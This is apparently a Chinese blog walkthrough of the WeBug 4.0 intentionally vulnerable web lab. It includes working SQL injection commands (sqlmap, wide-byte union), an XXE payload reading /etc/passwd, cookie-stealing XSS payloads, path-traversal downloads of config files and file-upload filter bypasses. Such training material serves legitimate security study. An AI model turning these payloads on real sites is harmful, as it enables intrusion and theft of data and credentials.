前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEBUG4.0通关

WEBUG4.0通关

作者头像
逍遥子大表哥
发布2022-05-18 09:24:08
1.1K0
发布2022-05-18 09:24:08
举报
文章被收录于专栏:kali blogkali blog

WeBug4.0是基于基于PHP/mysql制作搭建而成的一个web靶场环境。里面包含了常见的XSS SQL 文件上传等常见的漏洞。是新手练习web肾透测试的不二之选。

安装

首先到github上面下载源码,下载完成后放到站点根目录/var/www/html新建三个数据库

代码语言:javascript
复制
create database webbug
create database webbug_sys
create database webug_width_byte

然后将data目录下面的数据库文件,分别导入对应的数据库即可。

浏览器访问主机IP,用户名和密码均为admin成功登录后台。

SQL注入部分

01显错注入

我们在?id=1后面添加'号,即可报错。我们可以构造手动注入语句,也可以利用sqlmap注入。

为了不那么麻烦,这里我直接用神器sqlmap来一梭子!

代码语言:javascript
复制
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" --dbs #查询数据库

一路直接Y即可!如下图,直接爆出数据库。

爆出表

代码语言:javascript
复制
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug --tables

爆出表结构和数据

代码语言:javascript
复制
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag --columns
sqlmap -u "http://192.168.123.129/control/sqlinject/manifest_error.php?id=1" -D webug -T flag -C "id,flag" --dump
02 布尔注入

怎么判断页面是否存在布尔注入型注入呢?

我们先正常访问,效果如下:

当后面输入 and 1=2 进行逻辑判断时,效果如下:

这时,我们发现虽然没有报错,但是页面显示的不全。这便是所谓的布尔注入注入。

利用方法和第一步一样。

03 延时注入

没有多大卵,和前面一样,在sqlmap中执行同样的命令即可。

04 post注入

进入页面后,有一个搜索框。随便输入内容点击搜索。然后在burp中抓包!

将抓到包保存为txt文件,在sqlmap中执行命令

代码语言:javascript
复制
sqlmap -r "11.txt" --dbs

后面的也就一样了。

05 过滤注入

和上一关一样,没有多大的技术含量。

06宽字节注入

宽字节是指多个字节宽度的编码,如UNICODE、GBK、BIG5等。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

如果编码是GBK,我们在前面加上 %df' ,转义函数会将%df’改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。

注入

我们首先利用BURP对当前页抓包。

报错数据库

代码语言:javascript
复制
%df' union select 1,database() %23

不用burp也行,直接在浏览器地址栏中输入也行。

爆出表

代码语言:javascript
复制
%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23
07 xxe注入

获取Linux系统密码

代码语言:javascript
复制
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">]>
<x>&f;</x>

在搜索框中,提交xml代码即可。

08 csv注入

我的环境有问题,搞不出来,不搞了。

09 万能密码登陆

用户名和密码都输入' or 1=1#成功得到flag

xss篇

01反射型

直接构造<script>alert(大表哥牛逼)</script>

flag:<script>alert(document.cookie);</script>

02 存储型

利用反射的的payload:id=<script>alert(document.cookie);</script>

03 DOM型xss

DOM型XSS不经过后端,只是在前端进行。

payload :" > <script>alert(1)</script>#

flag:" > <script>alert(documen.cookie)</script>#

04 过滤xss

用不了script标签,那么我们就换一种方法即可,换一种标签

利用img标签和onerror配合来进行绕过

payload:<img src=1 onerror=alert(document.cookie)>

05 链接注入

利用XSS进行网页跳转

example:<a href=https://www.bbskali.cn>来啊~快活啊</a>

当用户点击之后,就跳转到了指定页面。

还有不用点击的呢:

任意文件下载

点击下载按钮,进行抓包。

可以到达下载的文件位置为template/assets/img/1.txt

这时,我们可以尝试下载系统中的任意文件,如sql/webug.sql文件,修改包中的数据为

sql/webug.sql,然后放包!

mysql配置文件下载

同样的道理构造下载mysql的配置文件

payload:file=../Extensions/MySQL5.7.26/my.ini

文件上传

01 文件上传(前端拦截)

我们先直接尝试上传php文件,提示如下

右键审查元素,我们可以看到只限上传格式为image

代码语言:javascript
复制
<script type="application/javascript">
    function type_filter(files) {
        if (files[0].type.split("/")[0] == "image") {
            return true;
        } else {
            document.getElementById("file").value = "";
            alert("不允许上传该格式类型");
            return false;
        }
    }
</script>

对input分析

代码语言:javascript
复制
<input type="file" name="file" id="file" onchange="type_filter(this.files)">

我我们只需要删除onchange="type_filter(this.files)"即可!

02 解析漏洞

这个和apache以及nginx的配置有关,原理是将PHP文件保存为jpg格式,通过nginx的解析漏洞,将jpg文件解析为php文件。

环境所限,搞不了。

03 文件上传(畸形文件)

通过阅读源码,发现对php文件做了过滤

代码语言:javascript
复制
if (strstr($file_ext, "php")) {
        $file_ext = str_replace("php", "", $file_ext);
    }

我们可以利用.pphphp双写形式绕过。

04 文件上传(截断上传)

在repeater里面将文件名改为 shell2.php龘.jpg,send(环境因素 未成功。)

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/2005900

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 安装
  • SQL注入部分
    • 01显错注入
      • 02 布尔注入
        • 03 延时注入
          • 04 post注入
            • 05 过滤注入
              • 06宽字节注入
                • 07 xxe注入
                  • 08 csv注入
                    • 09 万能密码登陆
                    • xss篇
                      • 01反射型
                        • 02 存储型
                          • 03 DOM型xss
                            • 04 过滤xss
                              • 05 链接注入
                              • 任意文件下载
                              • mysql配置文件下载
                              • 文件上传
                                • 01 文件上传(前端拦截)
                                  • 02 解析漏洞
                                    • 03 文件上传(畸形文件)
                                      • 04 文件上传(截断上传)
                                      相关产品与服务
                                      数据库
                                      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                                      领券
                                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档